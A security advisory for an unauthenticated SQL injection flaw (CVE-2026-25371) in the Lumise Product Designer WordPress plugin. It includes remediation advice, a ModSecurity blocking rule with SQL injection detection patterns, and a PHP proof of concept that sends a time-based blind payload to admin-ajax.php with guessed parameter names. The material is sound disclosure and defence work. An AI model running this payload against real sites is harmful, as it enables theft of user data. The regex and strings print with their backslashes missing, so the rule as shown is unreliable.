Atomic Edge analysis of CVE-2026-25371 (metadata-based):
The Lumise Product Designer WordPress plugin contains an unauthenticated SQL injection vulnerability in versions up to 2.0.9. This flaw allows remote attackers to execute arbitrary SQL commands via a user-controlled parameter. The vulnerability receives a CVSS score of 7.5 (High), indicating significant risk for data exposure.
Atomic Edge research indicates the root cause is insufficient escaping and lack of prepared statements for user-supplied input within a SQL query. The CWE-89 classification confirms improper neutralization of special elements in SQL commands. Without source code, we infer the plugin likely constructs SQL queries by directly concatenating unsanitized user input. This inference aligns with the description’s mention of ‘insufficient escaping’ and ‘lack of sufficient preparation.’ The vulnerability is confirmed as unauthenticated, indicating missing or inadequate capability checks on the affected endpoint.
Exploitation likely occurs through a public-facing AJAX handler or REST API endpoint. Attackers can send crafted HTTP requests containing SQL injection payloads in a specific parameter. A common WordPress pattern involves the plugin registering an AJAX action via `wp_ajax_nopriv_{action}` or a REST route without permission checks. The payload would append UNION SELECT statements or use time-based blind techniques to extract data from the WordPress database, including user credentials and sensitive plugin data.
Remediation requires implementing proper input validation and using prepared statements. The patched version should replace direct string concatenation in SQL queries with `$wpdb->prepare()` or equivalent parameterized queries. Input validation should enforce expected data types. The fix must also ensure proper authentication or capability checks are present on all database interaction endpoints.
Successful exploitation enables complete compromise of the database confidentiality. Attackers can extract all data within the WordPress database, including hashed user passwords, personal information, and any custom data stored by the Lumise plugin. This data exposure can lead to credential stuffing attacks, site takeover, and privacy violations. The vulnerability does not directly permit data modification or remote code execution according to the CVSS vector.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25371 (metadata-based)
# This rule blocks exploitation attempts targeting the Lumise plugin's unauthenticated SQL injection.
# It matches requests to the WordPress AJAX handler with the plugin's likely action prefix.
# The rule inspects common parameter names for SQL injection patterns.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625371,phase:2,deny,status:403,chain,msg:'CVE-2026-25371: SQL Injection via Lumise Product Designer AJAX',severity:'CRITICAL',tag:'CVE-2026-25371',tag:'WordPress',tag:'Plugin/Lumise',tag:'attack.sql-injection'"
SecRule ARGS_POST:action "@rx ^lumise_" "chain"
SecRule ARGS_POST|ARGS_GET "@rx (?i)(?:sleep(s*d|benchmark(|pg_sleep(|waitfors+delay|unions+select|selects+.*from|inserts+into|updates+.*set|deletes+from|drops+table|execs*(|'s*(?:and|or)s*[d'"]+[=<>])|(?:--|#|/*)[sS]**/"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25371 - Lumise Product Designer < 2.0.9 - Unauthenticated SQL Injection
<?php
/**
* Proof of Concept for CVE-2026-25371.
* ASSUMPTIONS: The vulnerable endpoint is an AJAX handler accessible without authentication.
* The vulnerable parameter is inferred from common plugin patterns (e.g., 'id', 'product_id').
* This PoC demonstrates a time-based blind SQL injection to confirm vulnerability.
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// Common AJAX action pattern for the Lumise plugin
$ajax_action = 'lumise_ajax_action';
// Inferred vulnerable parameter name
$vuln_param = 'product_id';
// Time-based blind SQL injection payload
// If the database sleeps for 5 seconds, the endpoint is vulnerable.
$payload = "1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- ";
$post_data = array(
'action' => $ajax_action,
$vuln_param => $payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Set timeout slightly above sleep duration
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);
$request_duration = $end_time - $start_time;
if ($request_duration >= 5) {
echo "[+] Target appears VULNERABLE. Request delayed by " . round($request_duration, 2) . " seconds.n";
echo "[+] The endpoint '{$target_url}' with action '{$ajax_action}' and parameter '{$vuln_param}' is likely exploitable.n";
} else {
echo "[-] Target may NOT be vulnerable (response time: " . round($request_duration, 2) . "s).n";
echo "[-] Manual verification required. Try alternative action/parameter names.n";
echo " Common alternatives: action='lumise_get_product', parameter='id', 'item_id'.n";
}
?>
